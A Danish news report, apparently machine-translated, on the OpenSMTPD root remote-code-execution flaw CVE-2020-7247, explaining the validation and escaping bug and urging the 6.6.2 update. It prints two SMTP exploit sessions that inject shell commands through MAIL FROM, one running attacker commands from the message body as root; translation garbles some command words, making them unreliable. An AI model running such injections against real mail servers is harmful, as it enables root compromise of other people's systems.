Sårbarhed i OpenSMTPD, der tillader fjernudførelse af kode som root

I mailserveren udviklet af OpenBSD-projektet Åbn SMTPD identificeret kritisk sårbarhed (CVE-2020-7247), der giver dig mulighed for eksternt at udføre shell-kommandoer på en server med root-brugerrettigheder. Sårbarheden blev identificeret under en re-audit udført af Qualys Security (tidligere revision af OpenSMTPD blev afholdt i 2015, og den nye sårbarhed har været til stede siden maj 2018). Problem elimineret i udgivelsen af ​​OpenSMTPD 6.6.2. Alle brugere rådes til hurtigst muligt at installere opdateringen (til OpenBSD kan patchen installeres via syspatch).

To typer angreb er blevet foreslået. Den første mulighed fungerer i standard OpenSMTPD-konfigurationen (modtager kun anmodninger fra localhost) og giver dig mulighed for at udnytte problemet lokalt, når angriberen er i stand til at få adgang til den lokale netværksgrænseflade (loopback) på serveren (for eksempel på hostingsystemer) . Den anden mulighed vises, når OpenSMTPD er konfigureret til at acceptere eksterne netværksanmodninger (en mailserver, der accepterer tredjepartsmail). Forskere har udarbejdet en prototypeudnyttelse, der med succes fungerer både med OpenSMTPD-varianten fra OpenBSD 6.6 og med en bærbar version til andre operativsystemer (gennemført i Debian Testing).

Problemet er forårsaget af en fejl i smtp_mailaddr()-funktionen, som kaldes for at kontrollere rigtigheden af ​​værdierne i felterne "MAIL FROM" og "RCPT TO", der bestemmer afsender/modtager og transmitteres under forbindelsen til mailserveren. Smtp_mailaddr()-funktionen kaldes i smtp_mailaddr() for at se efter den del af mailadressen, der kommer før tegnet "@".
valid_localpart(), som betragter "!#$%&'*/?^`{|}~+-=_"-tegn som tilladt (MAILADDR_ALLOWED), som krævet af RFC 5322.

I dette tilfælde escapes strengen direkte i mda_expand_token()-funktionen, som kun erstatter tegnene "!#$%&'*?`{|}~" (MAILADDR_ESCAPE). Ydermere bruges strengen forberedt i mda_expand_token() ved opkald til leveringsagenten (MDA) ved hjælp af kommandoen 'execle("/bin/sh", "/bin/sh", "-c", mda_command,...'. mail til mbox via /bin/sh køres linjen "/usr/libexec/mail.local -f %%{mbox.from} %%{user.username}", hvor værdien "%{mbox.from}" inkluderer escaped data fra parameteren "MAIL FROM".

Essensen af ​​sårbarheden er, at smtp_mailaddr() har en logisk fejl på grund af hvilken, hvis et tomt domæne sendes til e-mail, returnerer funktionen en vellykket verifikationskode, selvom den del af adressen før "@" indeholder ugyldige tegn. Yderligere, når du forbereder en streng med funktionen mda_expand_token() er ikke alle mulige shell-specialtegn escaped, men kun specialtegn tilladt i mailadressen. For at køre din kommando er det således nok at bruge symbolet ";" i den lokale del af e-mailen. og space, som ikke er i MAILADDR_ESCAPE-sættet og ikke er escaped. For eksempel:

$nc 127.0.0.1 25

HELO professor.falken
MAIL FRA:<;søvn 66;>
RCPT TIL:
DATA
.
QUIT

Efter denne session vil OpenSMTPD, når den leveres til mbox, køre kommandoen via shell

/usr/libexec/mail.local -f ;sleep 66; rod

Samtidig er angrebsmulighederne begrænset af, at den lokale del af adressen ikke kan overstige 64 tegn, og specialtegnene '$' og '|' erstattes med ":" ved escape. For at omgå denne begrænsning skal det faktum, at meddelelsens brødtekst transmitteres efter at have kørt /usr/libexec/mail.local gennem inputstrømmen, dvs. gennem manipulation med adressen kan du kun starte sh-kommandofortolkeren og bruge brevets brødtekst som et sæt instruktioner. Da service-SMTP-headere er angivet i begyndelsen af ​​bogstavet, foreslås det at bruge read-kommandokaldet i en løkke for at springe dem over. Arbejdsudnyttelsen ser nogenlunde sådan ud:

$nc 192.168.56.143 25

HELO professor.falken
MAIL FRA:<;for i in 0 1 2 3 4 5 6 7 8 9 abcd;do read r;done;sh;exit 0;>
RCPT TIL:[e-mail beskyttet]>
DATA
#0
#1
...
#d
for i i WOPR; gør
echo -n "($i) " && id || pause
udført > /root/x."`id -u`"."$$"
.
QUIT

Kilde: opennet.ru

Tilføj en kommentar